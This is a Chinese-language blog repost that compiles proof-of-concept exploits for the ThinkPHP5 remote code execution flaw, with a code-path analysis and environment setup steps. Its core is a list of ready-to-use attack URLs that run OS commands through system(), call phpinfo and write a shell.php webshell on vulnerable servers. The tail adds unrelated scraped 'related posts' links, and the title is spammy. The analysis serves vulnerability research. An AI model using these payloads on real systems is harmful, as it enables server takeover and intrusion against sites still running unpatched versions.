php %3c%3c%3cxml 报错,ThinkPHP5框架缺陷导致远程命令执行(POC整合帖)
摘要
近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。
影响范围
5.x < 5.1.31
<= 5.0.23
危害
远程代码执行
漏洞分析
以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心
分析补丁:802f284bec821a608e7543d91126abc5901b2815
路由信息中controller的部分进行了过滤,可知问题出现在路由调度时。
以5.1.23版本进行分析,执行路由调度的代码如下:
其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:
其中通过parseModuleAndClass方法解析出$module和$class,然后实例化$class。
rseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。
接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息
代码比较简单,就是使用/对$url进行分割,未进行任何过滤。
其中的路由url从Request::path()中获取
由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。
结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method,这将会实例化\namespace\class类并执行method方法。
然而利用过程中会存在一些限制,部分类在实例化时由于缺少参数而报错。
经过一番寻找,在\think\Request类中找到可以利用的方法input。以下为执行phpinfo
环境搭建
TP5.0.*
直接从官网下载完整包解压到www(网站根目录)目录即可,URL指向public目录(如:http://localhost/TP5.0.22/public/ )
TP5.1.*
官方不再提供完整版下载,笔者从composer下载最新版后与官方GitHub进行了对比,发现以下几个仓库
Framework
think
think-installer
发现framework仓库就是完整版中的thinkphp目录
think仓库是thinkphp的主架构
think-installer对应路径为path\to\thinkphp\vendor\topthink\think-installer
那么整合下就好了
最终目录架构
访问下
POC
TP版本5.0.21:
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
TP版本5.0.22:
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
TP5.1.*
thinkphp5.1.29为例
1、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令
3、文件写入(写shell):
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、未知:
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
7、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
修复方案
官方现已推出补丁 建议开发者进行修复
php %3c%3c%3cxml 报错,ThinkPHP5框架缺陷导致远程命令执行(POC整合帖)相关推荐
- ThinkPHP5 框架缺陷导致远程命令执行
摘要 近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞. 影响范围 5.x < 5.1.31 <= ...
- 报错:“-bash: git: 未找到命令”
报错:"-bash: git: 未找到命令" 解决方法: 安装git命令即可解决问题,Linux百科网是以CentOS 7 64位系统为例,在安装git命令之前需要先启用EPEL存 ...
- C#报错“OS加载程序锁内执行托管代码,不要尝试在DllMain或映像初始化函数内运行托管代码”的解决方法。
在VS下进行C#编程并调用C++的DLL时候,有很小的概率报错"OS加载程序锁内执行托管代码,不要尝试在DllMain或映像初始化函数内运行托管代码",其解决方法是把VS菜单中的 ...
- git push origin master报错的解决方法 常见git命令(待更新)
git push origin master报错的解决方法 & 常见git命令(待更新) 参考Git常用命令 文章目录 git push origin master报错的解决方法 & ...
- CentOS 执行 source /etc/profile命令时,报错:-bash: #: 未找到命令
问题描述: CentOS 执行 source /etc/profile命令时,报错:-bash: #: 未找到命令 如下所示: [root@localhost ~]# source /etc/prof ...
- 使用代理的服务器,无法使用WebClient。报错:无法解析此远程名称: 'www.***.com'的解决方法
使用代理的服务器,无法使用WebClient.报错:无法解析此远程名称: 'www.***.com'的解决方法 这段时间用WebClient做了一个小的爬取工具.在VS上调试一切正常.发布的IIS上就 ...
- 解决报错: cnpm 不是内部命令
报错: cnpm 不是内部命令 场景描述:在WebStorm中使用命令提示符创建vue项目时,发现报错 (cnpm 不是内部命令) 可能原因: cnpm和 npm相关文件没有放在node.js中的同一 ...
- 【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)
0x00复现环境 ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell) 0x01步骤 点击start to hack 进入环境页面 run t ...
- filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行
Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞. 介绍 Thinkphp框架官方提供核心版和完整版两种: 核心版因默认缺 ...
最新文章
- python读出文件中的内容_Python读取文本内容
- VS Code 常用插件推荐
- Matlab常用函数流水账
- 天翼云从业认证(3.2)天翼云存储产品
- 运用计算机辅助电话调查的方法,第二章 统计数据的搜集、整理与显示
- Spring学习笔记专题一
- ICLR 2020丨V4D:视频级别表示学习的四维卷积神经网络
- mysql5.7.10安装_MySQL5.7.10下载及安装及配置-阿里云开发者社区
- jdbc连接池连不上mysql80_JDBC MySql连接池实践可避免连接池耗尽-问答-阿里云开发者社区-阿里云...
- 微软vc运行库地址VC9VC11
- Spring常用注解(绝对经典)
- VS2017编译SQLite3生成.lib
- ThinkPad蓝牙鼠标出现延迟、断开连接等问题的解决办法
- Failed to apply plugin [id 'com.gradle.build-scan']
- Html 和 Css 的杂乱总结
- 如何使用HTTP代理促进业务
- 用C++品尝Vista美味:界面的毛玻璃效果——涨姿势
- Linux系统ORACLE 19C OEM监控管理
- 简单c/c++笔试题 .
- 魔兽争霸3冰封王座War3 下载_魔兽争霸完美破解硬盘版